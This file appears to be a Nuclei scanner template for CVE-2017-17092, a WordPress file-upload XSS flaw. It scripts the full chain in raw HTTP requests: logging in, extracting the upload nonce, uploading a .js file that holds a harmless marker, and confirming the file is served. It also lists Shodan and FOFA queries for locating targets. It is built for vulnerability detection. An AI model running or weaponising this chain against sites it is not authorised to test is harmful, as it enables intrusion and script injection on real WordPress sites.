id: CVE-2017-17092 info: name: WordPress < 4.9.1 - Authenticated JavaScript File Upload author: 0x_Akoko severity: medium description: | WordPress before 4.9.1 contains a cross-site scripting caused by not requiring unfiltered_html capability for uploading .js files in functions.php, letting remote attackers execute scripts via crafted files, exploit requires upload permissions. impact: | Remote attackers can execute arbitrary JavaScript in the context of the site, leading to potential session hijacking or defacement. remediation: | Update to WordPress 4.9.1 or later. reference: - https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/ - https://wpscan.com/vulnerability/0d2323bd-aecd-4d58-ba4b-597a43034f57 - https://nvd.nist.gov/vuln/detail/CVE-2017-17092 - https://lists.debian.org/debian-lts-announce/2017/12/msg00019.html - https://wpvulndb.com/vulnerabilities/8966 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2017-17092 cwe-id: CWE-79 epss-score: 0.04132 epss-percentile: 0.89753 cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:* metadata: verified: true max-request: 4 vendor: wordpress product: wordpress shodan-query: http.component:"wordpress" fofa-query: body="oembed" && body="wp-" tags: cve,cve2017,wordpress,wpscan,xss,upload,authenticated,intrusive,file-upload variables: filename: "{{to_lower(rand_text_alpha(5))}}" marker: "{{to_lower(rand_text_alpha(5))}}" flow: http(1) && http(2) && http(3) && http(4) http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In matchers: - type: dsl dsl: - status_code == 302 - contains(header, "wordpress_logged_in") condition: and internal: true - raw: - | GET /wp-admin/upload.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code == 200 - contains(body, '_wpnonce') condition: and internal: true extractors: - type: regex name: nonce group: 1 regex: - '"_wpnonce":"([a-f0-9]+)"' internal: true - raw: - | POST /wp-admin/async-upload.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="name" {{filename}}.js ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="action" upload-attachment ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="_wpnonce" {{nonce}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="async-upload"; filename="{{filename}}.js" Content-Type: application/javascript //{{marker}} ------WebKitFormBoundary{{randstr}}-- matchers: - type: dsl dsl: - status_code == 200 - contains_all(body, "success",".js") condition: and internal: true extractors: - type: regex name: upload_year group: 1 internal: true regex: - 'uploads\\/([0-9]+)\\/[0-9]+\\/[^"]+\.js' - type: regex name: upload_month group: 1 internal: true regex: - 'uploads\\/[0-9]+\\/([0-9]+)\\/[^"]+\.js' - raw: - | GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/{{filename}}.js HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code == 200 - contains(body, "//{{marker}}") condition: and # digest: 4b0a00483046022100b8eb2b3bd06dab86ee14c88d1a4188801ea8c82f9e6aa8f4e41ba8aaa620345f022100c32eeb5b1df3a63087fa1c2dfa75410d63ee702458bde938451ca600ed801d79:922c64590222798bb761d5b6d8e72950